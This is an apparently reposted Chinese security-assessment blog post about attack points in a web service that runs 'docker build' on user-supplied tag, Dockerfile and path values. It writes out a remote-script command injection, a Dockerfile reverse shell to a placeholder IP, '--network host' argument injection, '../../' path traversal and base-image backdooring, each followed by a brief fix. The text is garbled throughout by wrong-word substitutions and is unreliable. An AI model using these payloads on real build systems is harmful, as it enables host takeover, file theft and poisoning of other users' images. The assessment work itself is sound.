共计 2028 个字符，预计需要花费 6 分钟才能阅读完成。
背景
业务提供一个性能：依据用户的代码仓库编译镜像，并且治理镜像。
编译镜像时的业务实现相似上面这样，其中 image_name_tag、dockerfile_file、dockerfile_path 变量都是从内部 web 入口传入的。
docker build ${DOCKER_BUILD_ARG} -t ${image_name_tag} -f ${dockerfile_file} ${dockerfile_path}
如果你是这个业务的研发或者平安测试人员，你感觉这里会产生哪些安全漏洞？
我的剖析
命令执行
我想大家第一个都会想到 ” 命令执行破绽 ”：image_name_tag 变量如果用户传入 wget -c http://xxx/x.sh | bash -c 就能执行近程服务器上的脚本，拿到宿主机服务器权限。
如果研发大哥对传入的变量做了黑名单呢(比方判断是否蕴含 $、`)，还有其余安全漏洞吗？
Dockerfile 中反弹 shell
-f ${dockerfile_file}这里 Dockerfile 的内容是用户可控的，所以也很容易想到：咱们能够在 Dockerfile 中写任意命令，获取到 ” 反弹 shell”。
FROM ubuntu
MAINTAINER Victor Coisne victor.coisne@dotcloud.com
RUN echo “while ((1));do sleep 1;/bin/sh -i >& /dev/tcp/x.x.x.x/xxxx 0>&1;done” >> /tmp/1.sh # x.x.x.x/xxxx 是 ip 和端口
RUN bash /tmp/1.sh
在 ” 反弹 shell” 中咱们能够尝试去拜访 ”dockerd 服务 ” 所在的宿主机网络，或者宿主机能拜访到的网络，而后能够去测试网络中的软弱服务。
如果研发大哥在这里用 iptables 对容器和宿主机网络做了隔离，还有其余安全漏洞吗？
用户数据透露
Dockerfile 中的第一行 FROM 如果我填写其余用户编译好的镜像名称，是不是有可能读到其余用户镜像呢？
尽管 ” 镜像名称 ” 难猜中，然而这个危险的确是存在的。
如果研发大哥在构建镜像并推送到镜像仓库后，而后用 docker rmi 清空本地的镜像缓存，就不存在这种危险了，那还有其余安全漏洞吗？
给所有镜像种个后门
image_name_tag 是编译后的镜像名，Dockerfile 中的第一行 FROM 指令又须要一个根底镜像，那么是否存在如下可能：A 用户应用的根底镜像是 B 用户 build 生成。如果存在这个可能，那一个歹意用户 build 生成带后门的 nginx、ubuntu 等根底镜像，就能够导致其余用户的生成镜像时都带上后门。
测试后，发现 ”dockerd 服务 ” 默认会应用本地镜像，所以会呈现下面的问题。
–pull=true|false
Always attempt to pull a newer version of the image. The default is false.
如果研发大哥应用了 docker build –pull=true 每次拉取最新镜像，还有其余安全漏洞吗？
命令参数注入 –network host
如果传入 image_name_tag 参数值是 xxx –network host, 能够达到 docker build xxx –network host 的成果，配合 Dockerfile 中反弹 shell，能够让 shell 和 ”dockerd 服务 ” 处于同一个网络。这样 iptables 对容器和宿主机的网络隔离就不起作用了。
当然你还能够注入 –build-arg 读宿主机环境变量，或者看看 docker build 还有没有其余的命令行参数能够拿来利用。
如果研发大哥对参数值判断了，不容许 - 符号传入呢，还有其余安全漏洞吗？
服务数据透露
上面的命令能够把 ”docker 客户端 ” 的 /tmp、../../ 目录下的文件全副拷贝到 ” 编译容器 ” 中，配合 Dockerfile 中反弹 shell，能够在 shell 中读到 ”docker 客户端 ” 机器上的。
docker build -f ./Dockerfile /tmp
docker build -f ./Dockerfile ../../
同时你可能须要用.dockersignore 文件疏忽某些文件或目录，防止一些大文件被拷贝到 ” 编译容器 ”。
所以如果用户传入 dockerfile_path 参数为../../ 这种模式的门路，是能够读到机器上的文件。
如果研发大哥判断用户传入的参数，不容许呈现.. 这种目录跳转，还有其余安全漏洞吗？
emm，反正我想不到其余的攻击点了。
另外我想补充阐明一下，docker 是一个 cs 架构的软件，所以在做破绽利用时须要分明咱们是在谁的网络环境下、读谁的文件（谁指的是客户端还是服务端）
总结
本文介绍了一个 docker 相干的平安评估的案例，包含其中的危险点和修复措施，心愿你能有点播种。
在做这个评估时，我的感触是：有时候业务评估十分依赖评估人员本身的教训，并且如同没有方法依赖一个方法论 (比方 stride) 评估出所有危险点。
